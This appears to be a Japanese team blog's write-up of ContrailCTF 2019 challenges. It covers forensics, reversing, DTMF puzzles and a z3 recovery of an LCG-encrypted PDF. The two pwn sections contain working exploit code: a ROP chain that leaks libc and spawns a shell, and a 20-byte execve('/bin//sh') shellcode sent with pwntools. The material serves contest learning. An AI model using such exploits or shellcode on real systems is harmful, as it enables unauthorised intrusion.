ContrailCTF 2019 writeup
- はじめに
- [forensics] cutecats
- [rev] DownloaderLog
- [misc] prime_number
- [crypto] document_rescue
- [pwn] welcomechain
- [pwn] EasyShellcode
- [network] debug_port
はじめに
Kaitoさんと新しい仲間ぬるぬるさんを加えてStarrySkyはContrailCTFに旅立ちました。
4位でしたがpwnが全然解けなくてつらかったです。もっと勉強します。
[forensics] cutecats
volatilityとmimikatzで殴ります。mimikatzの存在を知らなかったので大変でした。
[rev] DownloaderLog
wiresharkでELFファイルと数字が書かれたテキストファイルがエクスポートできます。どうやら時間を使ってごネゴねやってるっぽいです。
ptraceを使ってアンチデバッグしているところをnopで潰し、いい感じに分岐を乗り越えてgdbで適当に動かしたらフラグがでました。
自己消滅する実行ファイルすこ。
[misc] prime_number
音源が渡されます。とりあえずスペクトログラムをみます。
dtmfだ!
数字に直すとこうなります。
53 37 11 2 67 11 61 11 41 11 41 3 11 61 7 71 41 13
何番目の素数かをそのままアルファベットに置き換えると "PLEASEREMEMBERDTMF" となります。これがzipのパスワードです。
zipを開けるとフラグが入手できます。
[crypto] document_rescue
線形合同法を利用して暗号化されたpdfが送られます。すでに分かっている文字列"PDF-9.9"と、pdfファイルの最後にある"%%EOF"を利用して複合します。ただ実際のpdfは最後が必ず"%%EOF"であるとは限らず、この後ろに改行文字や"\r"がつくことがあり、二文字分くっついてることもあるので複合が大変でした。またパディングとして\x00がいくつかついてることもあり、%%EOFが後ろから何byte目にあるかを利用して総当たりしました。
何はともあれ、解けたのでいいです。あとKaitoさんごめんなさい。
import sys from z3 import * import subprocess def mask(pad): if pad == 0: return 0xffffffff if pad == 1: return 0xffffff if pad == 2: return 0xffff if pad == 3: return 0xff def revmask(pad): if pad == 0: return 0xffffffff if pad == 1: return 0xffffff00 if pad == 2: return 0xffff0000 if pad == 3: return 0xff000000 with open("flag.www", "rb") as f: data = bytearray(f.read()) data_len = len(data) lcm = data_len // 4 m = pow(2, 32) xs = [0] * lcm for i in range(lcm): xs[i] = int.from_bytes(data[i * 4: i * 4 + 4], "big") modi = b"%PDF-9.9" padding = int(sys.argv[1]) EOF = int.from_bytes(b"%EOF", "big") ps = [0] * lcm ps[0] = int.from_bytes(modi[0:4], "big") ps[1] = int.from_bytes(modi[4:8], "big") ps[lcm - 2] = BitVec("pl_1", 64) ps[lcm - 1] = BitVec("pl", 64) aa = BitVec("a", 64) bb = BitVec("b", 64) s = Solver() s.add(ps[lcm - 1] > 0) s.add(ps[lcm - 1] < m) s.add(aa > 0) s.add(aa < m) s.add(bb > 0) s.add(bb < m) s.add(((xs[lcm - 1] ^ ps[lcm - 1]) - (xs[1] ^ ps[1])) % m == (aa * (xs[lcm - 2] - xs[0])) % m) s.add((revmask(padding) & ps[lcm - 1]) == ((EOF & mask(padding)) << (padding * 8))) if padding != 0: s.add(((~revmask(padding)) & ps[lcm - 2]) == ((EOF & (~mask(padding))) >> ((4 - padding) * 8))) s.add((ps[lcm - 2] & (0xff << (padding * 8))) == (0x25 << (padding * 8))) s.add(xs[1] ^ ps[1] == (aa * xs[0] + bb) % m) s.add(xs[lcm - 1] == (((aa * xs[lcm - 2] + bb) % m) ^ ps[lcm - 1])) s.add(xs[lcm - 2] == (((aa * xs[lcm - 3] + bb) % m) ^ ps[lcm - 2])) print(s.check()) while s.check() == sat: a = s.model()[aa].as_long() b = s.model()[bb].as_long() print("a = {}, b = {}".format(a, b)) g = open("flag.dec", "wb") x = ps[0] g.write(x.to_bytes(4, "big")) for i in range(1, lcm): enc = (a * xs[i - 1] + b) % m x = xs[i] ^ enc g.write(x.to_bytes(4, "big")) g.close() try: out = subprocess.check_output("hexdump -C 'flag.dec' | grep '%%EOF'", shell=True) if len(out) > 0: print("Found!") exit(0) except subprocess.CalledProcessError: print("Not Found") s.add(Or(s.model()[aa] != aa, s.model()[bb] != bb))
ちなみに複合したあとはpdfのヘッダの修復が必要なのですが、chromiumはそんなのお構いなしに表示してくれました。
[pwn] welcomechain
64bitのropです。libcのベースアドレスをリークさせてsystemを呼び出せばいいです。
from pwn import * import sys overflow_len = 40 puts_plt = 0x004005a0 printf_got = 0x601030 pop_rdi = 0x00400853 main_addr = 0x004007ba ret = 0x00400576 if sys.argv[1] == "r": printf_offset = 0x64e80 system_offset = 0x4f440 binsh_offset = 0x1b3e9a r = remote("114.177.250.4", 2226) sleep(5) # read libc_base payload = b"A" * overflow_len payload += p64(pop_rdi) payload += p64(printf_got) payload += p64(puts_plt) payload += p64(main_addr) r.sendline(payload) r.recvuntil("Your input is :") print(r.recvline()) printf_addr = u64(r.recv(6) + b"\x00\x00") print("printf_addr: {}".format(hex(printf_addr))) libc_base = printf_addr - printf_offset print("libc_base: {}".format(hex(libc_base))) system_addr = libc_base + system_offset print("system_addr: {}".format(hex(system_addr))) binsh_addr = libc_base + binsh_offset print("binsh_addr: {}".format(hex(binsh_addr))) # attack payload = b"A" * overflow_len payload += p64(ret) payload += p64(pop_rdi) payload += p64(binsh_addr) payload += p64(system_addr) payload += p64(main_addr) r.sendline(payload) r.interactive()
[pwn] EasyShellcode
シェルコードを標準入力で受け取って実行してくれるようです。ただ実行されるまえにスタックポインタが0にされてしまっていてそのままだとpushが使えませんでした。制限も20bytesと結構短めです。頑張ってゴルフします。
global _start section .text _start: xchg rax, rsp push 59 pop rax mov rbx, '/bin//sh' push rbx push rsp pop rdi syscall
これで丁度20bytesです。あとは流し込むだけ。
from pwn import * import sys if sys.argv[1] == "r": r = remote("114.177.250.4", 2210) else: r = process("./problem") shellcode = "\x48\x94\x6a\x3b\x58\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\x0f\x05" print(hex(len(shellcode)))[f:id:mi__tsu:20200104003020p:plain] sleep(5) r.sendline(shellcode) r.interactive()
pwnはこの二問だけです。辛い……